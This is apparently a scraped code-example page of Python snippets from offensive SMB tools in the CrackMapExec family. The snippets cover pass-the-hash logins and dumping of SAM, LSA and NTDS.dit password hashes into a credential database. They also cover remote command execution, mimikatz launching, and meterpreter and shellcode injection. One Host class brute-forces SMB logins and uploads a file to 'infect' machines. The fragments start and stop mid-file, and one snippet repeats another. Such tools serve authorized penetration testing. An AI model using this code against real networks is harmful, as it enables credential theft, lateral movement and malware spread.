        dumper = DumpSecrets(remoteName=self.__destfile, remoteHost=self.__dstip, username=self.__user,
                             password=self.__password, domain=self.__domain, lmhash=self.__lmhash,
                             nthash=self.__nthash, history=history, ds=DataStore)
        return dumper

    def getAtExec(self, command):
        if DataStore.version_major > 6:
            atexec = TSCH_EXEC(self.__destfile if self.__destfile is not None else self.__dstip, username=self.__user,
                               password=self.__password, domain=self.__domain, lmhash=self.__lmhash,
                               nthash=self.__nthash, command=command)
            return atexec
        else:
            logger.warn("This command only works on Windows Vista or newer.")
            return None

    def getRpcDump(self):
        dumper = RPCDump(self.__destfile if self.__destfile is not None else self.__dstip, remoteHost=self.__dstip,
                         username=self.__user, password=self.__password, domain=self.__domain,
                         lmhash=self.__lmhash, nthash=self.__nthash)
        return dumper
Ejemplo n.º 8
0
class SmbCon(Connector):
    def __init__(self, args, loggers, host, db):
        Connector.__init__(self, args, loggers, host)
        self.auth = False
        self.con = False
        self.client = ''.join(
            [choice(ascii_letters + digits) for x in range(7)])
        self.smbv1 = False
        self.os = ''
        self.admin = False
        self.signing = False
        self.os_arch = '0'
        self.remote_ops = None
        self.bootkey = None
        self.db = db
        self.port = 445

    #########################
    # Session Management
    #########################
    def create_smb_con(self):
        # Create SMB Con
        if self.smb_connection():
            self.host_info()
            try:
                # SMB Auth
                self.con.login(self.username,
                               self.password,
                               self.domain,
                               lmhash=self.lmhash,
                               nthash=self.nthash)
                self.auth = True
                self.host_info()
                self.isAdmin()
                self.update_db()
            except Exception as e:
                raise Exception(str(e))
        else:
            raise Exception('Connection to Server Failed')

    def update_db(self):
        self.db.update_host(self.host, self.ip, self.domain, self.os,
                            self.signing)
        if self.username and self.password or self.username and self.hash:
            self.db.update_user(self.username, self.password, self.domain,
                                self.hash)
            if self.admin:
                self.db.update_admin(self.username, self.domain, self.host)

    def logoff(self):
        self.con.logoff()

    def close(self):
        try:
            self.con.logoff()
        except:
            pass

        try:
            self.con.close()
        except:
            pass

    #########################
    # SMB Connection
    #########################
    def smb_connection(self):
        if self.smbv1_con():
            return True
        elif self.smbv3_con():
            return True
        return False

    def smbv1_con(self):
        try:
            self.con = SMBConnection(self.client,
                                     self.host,
                                     sess_port=self.port,
                                     preferredDialect=SMB_DIALECT,
                                     timeout=int(self.timeout))
            self.smbv1 = True
            self.con.setTimeout(self.timeout)
            return True
        except Exception as e:
            return False

    def smbv3_con(self):
        try:
            self.con = SMBConnection(self.client,
                                     self.host,
                                     sess_port=self.port,
                                     timeout=int(self.timeout))
            self.con.setTimeout(self.timeout)
            return True
        except Exception as e:
            return False

    #########################
    # Authentication (NOT IN USE)
    #########################
    def set_host(self, local_auth):
        # Get domain for authentication purposes
        if local_auth:
            self.domain = self.con.getServerName(
            ) + "." + self.con.getServerDNSDomainName()
        else:
            self.domain = self.con.getServerDNSDomainName()
        # Backup for Linux/Unix systems
        if not self.domain:
            self.domain = self.con.getServerName(
            ) + "." + self.con.getServerDNSDomainName()

    ################################
    # Enumerate Host information
    ################################
    def host_info(self):
        try:
            self.srvdomain = self.get_domain()
            self.host = self.get_hostname()
            self.os = self.con.getServerOS()
            self.signing = self.con.isSigningRequired()

            arch = self.get_os_arch()
            if arch == 32 or arch == 64:
                self.os_arch = " x{}".format(str(arch))
            else:
                self.os_arch = ''
        except Exception as e:
            self.logger.debug("SMB Host Info: {}".format(str(e)))

    def get_os_arch(self):
        # Credit: https://github.com/byt3bl33d3r/CrackMapExec/blob/master/cme/protocols/smb.py
        # Credit: https://github.com/SecureAuthCorp/impacket/blob/impacket_0_9_19/examples/getArch.py
        try:
            stringBinding = r'ncacn_ip_tcp:{}[135]'.format(self.host)
            transport = DCERPCTransportFactory(stringBinding)
            transport.set_connect_timeout(5)
            dce = transport.get_dce_rpc()
            dce.connect()
            try:
                dce.bind(
                    MSRPC_UUID_PORTMAP,
                    transfer_syntax=('71710533-BEBA-4937-8319-B5DBEF9CCC36',
                                     '1.0'))
            except DCERPCException as e:
                if str(e).find('syntaxes_not_supported') >= 0:
                    dce.disconnect()
                    return 32
            else:
                dce.disconnect()
                return 64
        except:
            return 0

    def get_hostname(self):
        if self.con.getServerDNSDomainName() and not self.local_auth:
            if self.con.getServerName().lower(
            ) != self.con.getServerDNSDomainName().lower():
                return (self.con.getServerName() + "." +
                        self.con.getServerDNSDomainName())
            else:
                return self.con.getServerName()
        else:
            return self.con.getServerName()

    def get_domain(self):
        try:
            return self.con.getServerDomain()
        except:
            return self.getServerName()

    def list_shares(self):
        # name=share['shi1_netname'][:-1], description=share['shi1_remark']
        return self.con.listShares()

    ################################
    # Host/Domain Password Policy
    ################################
    def password_policy(self):
        SAMRDump(self).dump(self.host)

    ################################
    # List Shares & Check Share Permissions
    ################################
    def read_perm(self, share):
        try:
            # Silently list path to check access
            self.list_path(share, False)
            return True
        except:
            return False

    def write_perm(self, share):
        try:
            # Create dir to check write access
            tmp = '.' + ''.join(
                [choice(ascii_letters + digits) for x in range(5)])
            self.con.createDirectory(share, tmp)
            self.con.deleteDirectory(share, tmp)
            return True
        except Exception as e:
            return False

    def list_path(self, share, path):
        if not path:
            path = '/*'
        return self.con.listPath(share, path)

    ################################
    # Check if User Admin
    ################################
    def isAdmin(self):
        rpctransport = SMBTransport(self.host,
                                    self.port,
                                    r'\svcctl',
                                    smb_connection=self.con)
        dce = rpctransport.get_dce_rpc()
        try:
            dce.connect()
        except:
            pass
        else:
            dce.bind(scmr.MSRPC_UUID_SCMR)
            try:
                # 0xF003F - SC_MANAGER_ALL_ACCESS
                # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
                ans = scmr.hROpenSCManagerW(dce, '{}\x00'.format(self.host),
                                            'ServicesActive\x00', 0xF003F)
                self.admin = True
                return True
            except scmr.DCERPCException as e:
                pass
        return False

    ################################
    # Dump SAM / LSA
    #   Methods were modified from:
    #     https://github.com/byt3bl33d3r/CrackMapExec/blob/master/cme/protocols/smb.py
    #     https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py
    ################################
    def enable_remoteops(self):
        if self.remote_ops is not None and self.bootkey is not None:
            return
        try:
            self.remote_ops = RemoteOperations(self.con, False, None)
            self.remote_ops.enableRegistry()
            self.bootkey = self.remote_ops.getBootKey()
        except Exception as e:
            self.logger.fail('RemoteOperations failed for {}: {}'.format(
                self.host, str(e)))

    def sam(self):
        def add_sam_hash(sam_hash, host):
            self.logger.success([self.host, self.ip, "SAM HASH", sam_hash])
            username, _, lmhash, nthash, _, _, _ = sam_hash.split(':')
            self.db.update_user(username, '', host,
                                "{}:{}".format(lmhash, nthash))
            add_sam_hash.added_to_db += 1

        try:
            add_sam_hash.added_to_db = 0
            self.enable_remoteops()
            if self.remote_ops and self.bootkey:
                SAMFileName = self.remote_ops.saveSAM()
                SAM = SAMHashes(SAMFileName,
                                self.bootkey,
                                isRemote=True,
                                perSecretCallback=lambda secret: add_sam_hash(
                                    secret, self.host))
                SAM.dump()
        except Exception as e:
            self.logger.debug('SAM Extraction Failed for {}: {}'.format(
                self.host, str(e)))

        if add_sam_hash.added_to_db > 0:
            self.logger.success([
                self.host, self.ip, "SAM HASH",
                '{} NTLM hashes added to the database'.format(
                    add_sam_hash.added_to_db)
            ])

        try:
            self.remote_ops.finish()
            SAM.finish()
        except Exception as e:
            self.logger.debug(
                ["SAM", "Error calling remote_ops.finish(): {}".format(e)])

    def ntds(self):
        def add_ntds_hash(ntds_hash):
            if ntds_hash.find('$') == -1:
                if "CLEARTEXT" in ntds_hash:
                    try:
                        add_ntds_hash.clear_text += 1
                        username, password = ntds_hash.split(":CLEARTEXT:")
                        domain, username = username.split("\\")
                        self.db.update_user(username, '', domain, password)
                        add_ntds_hash.added_to_db += 1
                    except:
                        self.logger.fail(
                            "Error adding clear text cred to db: {}".format(
                                ntds_hash))
                else:
                    if ntds_hash.find('\\') != -1:
                        domain, hash = ntds_hash.split('\\')
                    else:
                        domain = self.domain
                        hash = ntds_hash

                    try:
                        username, _, lmhash, nthash, _, _, _ = hash.split(':')
                        parsed_hash = ':'.join((lmhash, nthash))
                        if validate_ntlm(parsed_hash):
                            add_ntds_hash.ntds_hashes += 1
                            self.db.update_user(username, '', domain,
                                                "{}:{}".format(lmhash, nthash))
                            add_ntds_hash.added_to_db += 1
                    except:
                        self.logger.debug(
                            "Skipping non-NTLM hash: {}".format(ntds_hash))
            else:
                self.logger.debug("Skipping computer account")

        try:
            self.enable_remoteops()
            use_vss_method = self.args.use_vss
            NTDSFileName = None
            add_ntds_hash.ntds_hashes = 0
            add_ntds_hash.clear_text = 0
            add_ntds_hash.added_to_db = 0
            outfile = os.path.join(os.path.expanduser('~'), '.ar3',
                                   'workspaces', self.args.workspace,
                                   self.domain)

            if self.remote_ops and self.bootkey:
                if self.args.ntds is 'vss':
                    NTDSFileName = self.remote_ops.saveNTDS()
                    use_vss_method = True

                NTDS = NTDSHashes(NTDSFileName,
                                  self.bootkey,
                                  isRemote=True,
                                  history=False,
                                  noLMHash=True,
                                  remoteOps=self.remote_ops,
                                  useVSSMethod=use_vss_method,
                                  justNTLM=False,
                                  pwdLastSet=False,
                                  resumeSession=None,
                                  outputFileName=outfile,
                                  justUser=None,
                                  printUserStatus=False,
                                  perSecretCallback=lambda secretType, secret:
                                  add_ntds_hash(secret))

                self.logger.info([
                    self.host, self.ip, "NTDS",
                    'Dumping NTDS.dit, this could take a minute'
                ])
                NTDS.dump()

                self.logger.success([
                    self.host, self.ip, "NTDS",
                    '{} NTLM hashes and {} clear text passwords collected'.
                    format(add_ntds_hash.ntds_hashes, add_ntds_hash.clear_text)
                ])
                self.logger.success([
                    self.host, self.ip, "NTDS",
                    '{} creds added to the database'.format(
                        add_ntds_hash.added_to_db)
                ])
                self.logger.info([
                    self.host, self.ip, "NTDS",
                    'Hash files located at: {}'.format(outfile)
                ])

            else:
                raise Exception("RemoteOps and BootKey not initiated")
        except Exception as e:
            self.logger.fail('NTDS Extraction Failed for {}: {}'.format(
                self.host, str(e)))

        try:
            self.remote_ops.finish()
            NTDS.finish()
        except Exception as e:
            self.logger.debug(
                ["NTDS", "Error calling remote_ops.finish(): {}".format(e)])

    ################################
    # File Interaction
    ################################
    def createFile(self, filename, data, share='C$'):
        # Create new file & write data, Not In Use
        f = remotefile.RemoteFile(self.con, filename, share)
        f.create()
        f.write(data)
        f.close()

    def uploadFile(self, local_file, location, share='C$'):
        f = open(local_file)
        self.con.putFile(share, location, f.read)
        f.close()

    def downloadFile(self, remote_file, location='ar3_download', share='C$'):
        f = open(location, 'wb')
        self.con.getFile(share, remote_file, f.write)
        f.close()
        return

    def deleteFile(self, remote_file, share='C$'):
        self.con.deleteFile(share, remote_file)
Ejemplo n.º 9
0
def connect(host):
    """
        My imagination flowed free when coming up with this name
        This is where all the magic happens
    """

    try:

        smb = SMBConnection(host, host, None, settings.args.port)
        try:
            smb.login("", "")
        except SessionError as e:
            if "STATUS_ACCESS_DENIED" in e.message:
                pass

        domain = settings.args.domain
        s_name = smb.getServerName()
        if not domain:
            domain = smb.getServerDomain()
            if not domain:
                domain = s_name

        print_status(
            u"{}:{} is running {} (name:{}) (domain:{})".format(
                host, settings.args.port, smb.getServerOS(), s_name, domain
            )
        )

        try:
            """
                DC's seem to want us to logoff first
                Windows workstations sometimes reset the connection, so we handle both cases here
                (go home Windows, you're drunk)
            """
            smb.logoff()
        except NetBIOSError:
            pass
        except socket.error:
            smb = SMBConnection(host, host, None, settings.args.port)

        if (
            settings.args.user is not None and (settings.args.passwd is not None or settings.args.hash is not None)
        ) or settings.args.combo_file:

            smb = smart_login(host, smb, domain)
            # Get our IP from the socket
            local_ip = smb.getSMBServer().get_socket().getsockname()[0]

            if settings.args.delete or settings.args.download or settings.args.list or settings.args.upload:
                rfs = RemoteFileSystem(host, smb)
                if settings.args.delete:
                    rfs.delete()
                if settings.args.download:
                    rfs.download()
                if settings.args.upload:
                    rfs.upload()
                if settings.args.list:
                    rfs.list()

            if settings.args.enum_shares:
                shares = SHAREDUMP(smb)
                shares.dump(host)

            if settings.args.enum_users:
                users = SAMRDump(
                    "{}/SMB".format(settings.args.port),
                    settings.args.user,
                    settings.args.passwd,
                    domain,
                    settings.args.hash,
                    settings.args.aesKey,
                    settings.args.kerb,
                )
                users.dump(host)

            if settings.args.sam or settings.args.lsa or settings.args.ntds:
                dumper = DumpSecrets(host, settings.args.port, "logs/{}".format(host), smb, settings.args.kerb)

                dumper.do_remote_ops()
                if settings.args.sam:
                    dumper.dump_SAM()
                if settings.args.lsa:
                    dumper.dump_LSA()
                if settings.args.ntds:
                    dumper.dump_NTDS(settings.args.ntds, settings.args.ntds_history, settings.args.ntds_pwdLastSet)
                dumper.cleanup()

            if settings.args.pass_pol:
                pass_pol = PassPolDump(
                    "{}/SMB".format(settings.args.port),
                    settings.args.user,
                    settings.args.passwd,
                    domain,
                    settings.args.hash,
                    settings.args.aesKey,
                    settings.args.kerb,
                )
                pass_pol.dump(host)

            if settings.args.rid_brute:
                lookup = LSALookupSid(
                    settings.args.user,
                    settings.args.passwd,
                    domain,
                    "{}/SMB".format(settings.args.port),
                    settings.args.hash,
                    settings.args.rid_brute,
                )
                lookup.dump(host)

            if settings.args.enum_sessions or settings.args.enum_disks or settings.args.enum_lusers:
                rpc_query = RPCQUERY(settings.args.user, settings.args.passwd, domain, settings.args.hash)

                if settings.args.enum_sessions:
                    rpc_query.enum_sessions(host)
                if settings.args.enum_disks:
                    rpc_query.enum_disks(host)
                if settings.args.enum_lusers:
                    rpc_query.enum_lusers(host)

            if settings.args.spider:
                smb_spider = SMBSPIDER(host, smb)
                smb_spider.spider(settings.args.spider, settings.args.depth)
                smb_spider.finish()

            if settings.args.wmi_query:
                wmi_query = WMIQUERY(
                    settings.args.user,
                    settings.args.passwd,
                    domain,
                    settings.args.hash,
                    settings.args.kerb,
                    settings.args.aesKey,
                )

                wmi_query.run(settings.args.wmi_query, host, settings.args.namespace)

            if settings.args.check_uac:
                uac = UACdump(smb, settings.args.kerb)
                uac.run()

            if settings.args.enable_wdigest:
                wdigest = WdisgestEnable(smb, settings.args.kerb)
                wdigest.enable()

            if settings.args.disable_wdigest:
                wdigest = WdisgestEnable(smb, settings.args.kerb)
                wdigest.disable()

            if settings.args.command:
                EXECUTOR(settings.args.command, host, domain, settings.args.no_output, smb)

            if settings.args.pscommand:
                EXECUTOR(ps_command(settings.args.pscommand), host, domain, settings.args.no_output, smb)

            if settings.args.mimikatz:
                powah_command = PowerSploit(settings.args.server, local_ip)
                EXECUTOR(powah_command.mimikatz(), host, domain, True, smb)

            if settings.args.mimikatz_cmd:
                powah_command = PowerSploit(settings.args.server, local_ip)
                EXECUTOR(powah_command.mimikatz(settings.args.mimikatz_cmd), host, domain, True, smb)

            if settings.args.inject:
                powah_command = PowerSploit(settings.args.server, local_ip)
                if settings.args.inject.startswith("met_"):
                    EXECUTOR(powah_command.inject_meterpreter(), host, domain, True, smb)

                if settings.args.inject == "shellcode":
                    EXECUTOR(powah_command.inject_shellcode(), host, domain, True, smb)

                if settings.args.inject == "dll" or settings.args.inject == "exe":
                    EXECUTOR(powah_command.inject_exe_dll(), host, domain, True, smb)
        try:
            smb.logoff()
        except:
            pass

    except SessionError as e:
        print_error("{}:{} {}".format(host, settings.args.port, e))
        if settings.args.verbose:
            traceback.print_exc()

    except NetBIOSError as e:
        print_error("{}:{} NetBIOS Error: {}".format(host, settings.args.port, e))
        if settings.args.verbose:
            traceback.print_exc()

    except DCERPCException as e:
        print_error("{}:{} DCERPC Error: {}".format(host, settings.args.port, e))
        if settings.args.verbose:
            traceback.print_exc()

    except socket.error as e:
        if settings.args.verbose:
            print_error(str(e))
        return
Ejemplo n.º 10
0
def main_greenlet(host):

    try:
        smb = SMBConnection(host, host, None, settings.args.port)
        #Get our IP from the socket
        local_ip = smb.getSMBServer().get_socket().getsockname()[0]
        try:
            smb.login('', '')
        except SessionError as e:
            if "STATUS_ACCESS_DENIED" in e.message:
                pass

        domain = settings.args.domain
        s_name = smb.getServerName()
        if not domain:
            domain = smb.getServerDomain()
            if not domain:
                domain = s_name

        cme_logger = CMEAdapter(
            logging.getLogger('CME'), {
                'host': host,
                'hostname': s_name,
                'port': settings.args.port,
                'service': 'SMB'
            })

        cme_logger.info(u"{} (name:{}) (domain:{})".format(
            smb.getServerOS(), s_name, domain))

        try:
            '''
                DC's seem to want us to logoff first
                Windows workstations sometimes reset the connection, so we handle both cases here
                (go home Windows, you're drunk)
            '''
            smb.logoff()
        except NetBIOSError:
            pass
        except socket.error:
            pass

        if settings.args.mssql:
            cme_logger = CMEAdapter(
                logging.getLogger('CME'), {
                    'host': host,
                    'hostname': s_name,
                    'port': settings.args.mssql_port,
                    'service': 'MSSQL'
                })

            #try:
            ms_sql = tds.MSSQL(host, int(settings.args.mssql_port), cme_logger)
            ms_sql.connect()

            instances = ms_sql.getInstances(5)
            cme_logger.info("Found {} MSSQL instance(s)".format(
                len(instances)))
            for i, instance in enumerate(instances):
                cme_logger.results("Instance {}".format(i))
                for key in instance.keys():
                    cme_logger.results(key + ":" + instance[key])

            try:
                ms_sql.disconnect()
            except:
                pass

            #except socket.error as e:
            #    if settings.args.verbose: mssql_cme_logger.error(str(e))

        if (settings.args.user and
            (settings.args.passwd
             or settings.args.hash)) or settings.args.combo_file:

            ms_sql = None
            smb = None

            if settings.args.mssql:
                ms_sql = tds.MSSQL(host, int(settings.args.mssql_port),
                                   cme_logger)
                ms_sql.connect()
                ms_sql, user, passwd, ntlm_hash, domain = smart_login(
                    host, domain, ms_sql, cme_logger)
                sql_shell = SQLSHELL(ms_sql, cme_logger)
            else:
                smb = SMBConnection(host, host, None, settings.args.port)
                smb, user, passwd, ntlm_hash, domain = smart_login(
                    host, domain, smb, cme_logger)

            if ms_sql:
                connection = ms_sql
                if settings.args.mssql_query:
                    sql_shell.onecmd(settings.args.mssql_query)

            if smb:
                connection = smb
                if settings.args.delete or settings.args.download or settings.args.list or settings.args.upload:
                    rfs = RemoteFileSystem(host, smb, cme_logger)
                    if settings.args.delete:
                        rfs.delete()
                    if settings.args.download:
                        rfs.download()
                    if settings.args.upload:
                        rfs.upload()
                    if settings.args.list:
                        rfs.list()

                if settings.args.enum_shares:
                    shares = SHAREDUMP(smb, cme_logger)
                    shares.dump(host)

                if settings.args.enum_users:
                    users = SAMRDump(cme_logger,
                                     '{}/SMB'.format(settings.args.port), user,
                                     passwd, domain, ntlm_hash,
                                     settings.args.aesKey, settings.args.kerb)
                    users.dump(host)

                if settings.args.sam or settings.args.lsa or settings.args.ntds:
                    dumper = DumpSecrets(cme_logger, 'logs/{}'.format(host),
                                         smb, settings.args.kerb)

                    dumper.do_remote_ops()
                    if settings.args.sam:
                        dumper.dump_SAM()
                    if settings.args.lsa:
                        dumper.dump_LSA()
                    if settings.args.ntds:
                        dumper.dump_NTDS(settings.args.ntds,
                                         settings.args.ntds_history,
                                         settings.args.ntds_pwdLastSet)
                    dumper.cleanup()

                if settings.args.pass_pol:
                    pass_pol = PassPolDump(cme_logger,
                                           '{}/SMB'.format(settings.args.port),
                                           user, passwd, domain, ntlm_hash,
                                           settings.args.aesKey,
                                           settings.args.kerb)
                    pass_pol.dump(host)

                if settings.args.rid_brute:
                    lookup = LSALookupSid(cme_logger, user, passwd, domain,
                                          '{}/SMB'.format(settings.args.port),
                                          ntlm_hash, settings.args.rid_brute)
                    lookup.dump(host)

                if settings.args.enum_sessions or settings.args.enum_disks or settings.args.enum_lusers:
                    rpc_query = RPCQUERY(cme_logger, user, passwd, domain,
                                         ntlm_hash)

                    if settings.args.enum_sessions:
                        rpc_query.enum_sessions(host)
                    if settings.args.enum_disks:
                        rpc_query.enum_disks(host)
                    if settings.args.enum_lusers:
                        rpc_query.enum_lusers(host)

                if settings.args.spider:
                    smb_spider = SMBSPIDER(cme_logger, host, smb)
                    smb_spider.spider(settings.args.spider,
                                      settings.args.depth)
                    smb_spider.finish()

                if settings.args.wmi_query:
                    wmi_query = WMIQUERY(cme_logger, user, domain, passwd,
                                         ntlm_hash, settings.args.kerb,
                                         settings.args.aesKey)

                    wmi_query.run(settings.args.wmi_query, host,
                                  settings.args.namespace)

                if settings.args.check_uac:
                    uac = UACdump(cme_logger, smb, settings.args.kerb)
                    uac.run()

                if settings.args.enable_wdigest or settings.args.disable_wdigest:
                    wdigest = WdisgestEnable(cme_logger, smb,
                                             settings.args.kerb)
                    if settings.args.enable_wdigest:
                        wdigest.enable()
                    elif settings.args.disable_wdigest:
                        wdigest.disable()

                if settings.args.service:
                    service_control = SVCCTL(
                        cme_logger, user, passwd, domain,
                        '{}/SMB'.format(settings.args.port),
                        settings.args.service, settings.args.aesKey,
                        settings.args.kerb, ntlm_hash, settings.args)
                    service_control.run(host)

            if settings.args.command:
                EXECUTOR(cme_logger, settings.args.command, host, domain,
                         settings.args.no_output, connection,
                         settings.args.execm, user, passwd, ntlm_hash)

            if settings.args.pscommand:
                EXECUTOR(
                    cme_logger,
                    ps_command(settings.args.pscommand, settings.args.ps_arch),
                    host, domain, settings.args.no_output, connection,
                    settings.args.execm, user, passwd, ntlm_hash)

            if settings.args.mimikatz:
                powah_command = PowerShell(settings.args.server, local_ip)
                EXECUTOR(cme_logger, powah_command.mimikatz(), host, domain,
                         True, connection, settings.args.execm, user, passwd,
                         ntlm_hash)

            if settings.args.gpp_passwords:
                powah_command = PowerShell(settings.args.server, local_ip)
                EXECUTOR(cme_logger, powah_command.gpp_passwords(), host,
                         domain, True, connection, settings.args.execm, user,
                         passwd, ntlm_hash)

            if settings.args.mimikatz_cmd:
                powah_command = PowerShell(settings.args.server, local_ip)
                EXECUTOR(cme_logger,
                         powah_command.mimikatz(settings.args.mimikatz_cmd),
                         host, domain, True, connection, settings.args.execm,
                         user, passwd, ntlm_hash)

            if settings.args.powerview:
                #For some reason powerview functions only seem to work when using smbexec...
                #I think we might have a mistery on our hands boys and girls!
                powah_command = PowerShell(settings.args.server, local_ip)
                EXECUTOR(cme_logger,
                         powah_command.powerview(settings.args.powerview),
                         host, domain, True, connection, 'smbexec', user,
                         passwd, ntlm_hash)

            if settings.args.tokens:
                powah_command = PowerShell(settings.args.server, local_ip)
                EXECUTOR(cme_logger, powah_command.token_enum(), host, domain,
                         True, connection, settings.args.execm, user, passwd,
                         ntlm_hash)

            if settings.args.inject:
                powah_command = PowerShell(settings.args.server, local_ip)
                if settings.args.inject.startswith('met_'):
                    EXECUTOR(cme_logger, powah_command.inject_meterpreter(),
                             host, domain, True, connection,
                             settings.args.execm, user, passwd, ntlm_hash)

                if settings.args.inject == 'shellcode':
                    EXECUTOR(cme_logger, powah_command.inject_shellcode(),
                             host, domain, True, connection,
                             settings.args.execm, user, passwd, ntlm_hash)

                if settings.args.inject == 'dll' or settings.args.inject == 'exe':
                    EXECUTOR(cme_logger, powah_command.inject_exe_dll(), host,
                             domain, True, connection, settings.args.execm,
                             user, passwd, ntlm_hash)

        try:
            smb.logoff()
        except:
            pass

        try:
            ms_sql.disconnect()
        except:
            pass

    except SessionError as e:
        print_error("{}:{} {}".format(host, settings.args.port, e))
        if settings.args.verbose: traceback.print_exc()

    except NetBIOSError as e:
        print_error("{}:{} NetBIOS Error: {}".format(host, settings.args.port,
                                                     e))
        if settings.args.verbose: traceback.print_exc()

    except DCERPCException as e:
        print_error("{}:{} DCERPC Error: {}".format(host, settings.args.port,
                                                    e))
        if settings.args.verbose: traceback.print_exc()

    except socket.error as e:
        if settings.args.verbose: print_error(str(e))
        return
Ejemplo n.º 11
0
class Host(object):
    def __init__(self, ip, scanner):
        self.ip = ip
        self.data = scanner[ip]
        self.is_up = self.data.state() == 'up'
        self.open_ports = [x for x in self.data['tcp'].keys() if self.data['tcp'][x]['state'] == 'open']

        self.domain = ''
        self.name = ''
        self.os = ''

        self.ex = None
        self.smb = None
        self.shares = None
        self.infected = None

    def __str__(self):
        return '=> ip: {0}{1}{2}{3}, status: {4}{5}'.format(
            self.ip,
            ', domain: {0}'.format(self.domain) if self.domain else '',
            ', name: {0}'.format(self.name) if self.name else '',
            ', os: {0}'.format(self.os) if self.os else '',
            'up' if self.is_up else 'down',
            ', result: {0}'.format(self.ex) if self.ex else ', result: {0}'.format('Infected') if self.infected else ''
        )

    @property
    def chosen_port(self):
        for p in SMB_PORTS:
            if p in self.open_ports:
                return p
        raise Exception('No port can be used to infect this host')

    @property
    def is_connected(self):
        return self.smb is not None

    def connect(self, password_generator):
        try:
            self.smb = SMBConnection('*SMBSERVER', self.ip, sess_port=int(self.chosen_port))
            self.smb.login('', '')
            self.domain = self.smb.getServerDomain()
            self.name = self.smb.getServerName()
            self.os = self.smb.getServerOS()

            for username, password, lmhash, nthash in password_generator:
                try:
                    self.smb.login(username, password, lmhash=lmhash, nthash=nthash)
                    self.shares = self.smb.listShares()
                    self.ex = None
                    break
                except SessionError as ex:
                    self.ex = ex
        except SessionError as ex:
            self.ex = ex

    def infect(self, password_generator, share, source, destination):
        try:
            if not path.isfile(source):
                raise Exception('Source file {0} does not exist.'.format(source))

            if not self.is_connected:
                self.connect(password_generator)

            if self.ex:
                return

            with open(source, 'rb') as f:
                self.smb.putFile(share, destination, f.read)
                self.ex = None
                self.infected = True
        except SessionError as ex:
            self.ex = ex
Ejemplo n.º 12
0
class SmbCon(Connector):
    def __init__(self, args, loggers, host, db):
        Connector.__init__(self, args, loggers, host)
        self.auth = False
        self.con = False
        self.client = ''.join(
            [choice(ascii_letters + digits) for x in range(7)])
        self.smbv1 = False
        self.os = ''
        self.admin = False
        self.signing = False
        self.os_arch = '0'
        self.remote_ops = None
        self.bootkey = None

        self.db = db
        self.port = 445

    #########################
    # Session Management
    #########################
    def create_smb_con(self):
        # Create SMB Con
        if self.smb_connection():
            self.host_info()
            try:
                # SMB Auth
                self.con.login(self.username,
                               self.password,
                               self.domain,
                               lmhash=self.lmhash,
                               nthash=self.nthash)
                self.auth = True
                self.host_info()
                self.isAdmin()
                self.update_db()
            except Exception as e:
                raise Exception(str(e))
        else:
            raise Exception('Connection to Server Failed')

    def update_db(self):
        self.db.update_host(self.host, self.ip, self.domain, self.os,
                            self.signing)
        if self.username and self.password or self.username and self.hash:
            self.db.update_user(self.username, self.password, self.domain,
                                self.hash)
            if self.admin:
                self.db.update_admin(self.username, self.domain, self.host)

    def logoff(self):
        self.con.logoff()

    def close(self):
        try:
            self.con.logoff()
        except:
            pass

        try:
            self.con.close()
        except:
            pass

    #########################
    # SMB Connection
    #########################
    def smb_connection(self):
        if self.smbv1_con():
            return True
        elif self.smbv3_con():
            return True
        return False

    def smbv1_con(self):
        try:
            self.con = SMBConnection(self.client,
                                     self.host,
                                     sess_port=self.port,
                                     preferredDialect=SMB_DIALECT,
                                     timeout=int(self.timeout))
            self.smbv1 = True
            self.con.setTimeout(self.timeout)
            return True
        except Exception as e:
            return False

    def smbv3_con(self):
        try:
            self.con = SMBConnection(self.client,
                                     self.host,
                                     sess_port=self.port,
                                     timeout=int(self.timeout))
            self.con.setTimeout(self.timeout)
            return True
        except Exception as e:
            return False

    #########################
    # Authentication (NOT IN USE)
    #########################
    def set_host(self, local_auth):
        # Get domain for authentication purposes
        if local_auth:
            self.domain = self.con.getServerName(
            ) + "." + self.con.getServerDNSDomainName()
        else:
            self.domain = self.con.getServerDNSDomainName()
        # Backup for Linux/Unix systems
        if not self.domain:
            self.domain = self.con.getServerName(
            ) + "." + self.con.getServerDNSDomainName()

    ################################
    # Enumerate Host information
    ################################
    def host_info(self):
        try:
            self.srvdomain = self.get_domain()
            self.host = self.get_hostname()
            self.os = self.con.getServerOS()
            self.signing = self.con.isSigningRequired()

            arch = self.get_os_arch()
            if arch == 32 or arch == 64:
                self.os_arch = " x{}".format(str(arch))
            else:
                self.os_arch = ''
        except Exception as e:
            self.logger.debug("SMB Host Info: {}".format(str(e)))

    def get_os_arch(self):
        # Credit: https://github.com/byt3bl33d3r/CrackMapExec/blob/master/cme/protocols/smb.py
        # Credit: https://github.com/SecureAuthCorp/impacket/blob/impacket_0_9_19/examples/getArch.py
        try:
            stringBinding = r'ncacn_ip_tcp:{}[135]'.format(self.host)
            transport = DCERPCTransportFactory(stringBinding)
            transport.set_connect_timeout(5)
            dce = transport.get_dce_rpc()
            dce.connect()
            try:
                dce.bind(
                    MSRPC_UUID_PORTMAP,
                    transfer_syntax=('71710533-BEBA-4937-8319-B5DBEF9CCC36',
                                     '1.0'))
            except DCERPCException as e:
                if str(e).find('syntaxes_not_supported') >= 0:
                    dce.disconnect()
                    return 32
            else:
                dce.disconnect()
                return 64
        except:
            return 0

    def get_hostname(self):
        if self.con.getServerDNSDomainName() and not self.local_auth:
            if self.con.getServerName().lower(
            ) != self.con.getServerDNSDomainName().lower():
                return (self.con.getServerName() + "." +
                        self.con.getServerDNSDomainName())
            else:
                return self.con.getServerName()
        else:
            return self.con.getServerName()

    def get_domain(self):
        try:
            return self.con.getServerDomain()
        except:
            return self.getServerName()

    def list_shares(self):
        # name=share['shi1_netname'][:-1], description=share['shi1_remark']
        return self.con.listShares()

    ################################
    # Host/Domain Password Policy
    ################################
    def password_policy(self):
        SAMRDump(self).dump(self.host)

    ################################
    # List Shares & Check Share Permissions
    ################################
    def read_perm(self, share):
        try:
            # Silently list path to check access
            self.list_path(share, False)
            return True
        except:
            return False

    def write_perm(self, share):
        try:
            # Create dir to check write access
            tmp = '.' + ''.join(
                [choice(ascii_letters + digits) for x in range(5)])
            self.con.createDirectory(share, tmp)
            self.con.deleteDirectory(share, tmp)
            return True
        except Exception as e:
            return False

    def list_path(self, share, path):
        if not path:
            path = '/*'
        return self.con.listPath(share, path)

    ################################
    # Check if User Admin
    ################################
    def isAdmin(self):
        rpctransport = SMBTransport(self.host,
                                    self.port,
                                    r'\svcctl',
                                    smb_connection=self.con)
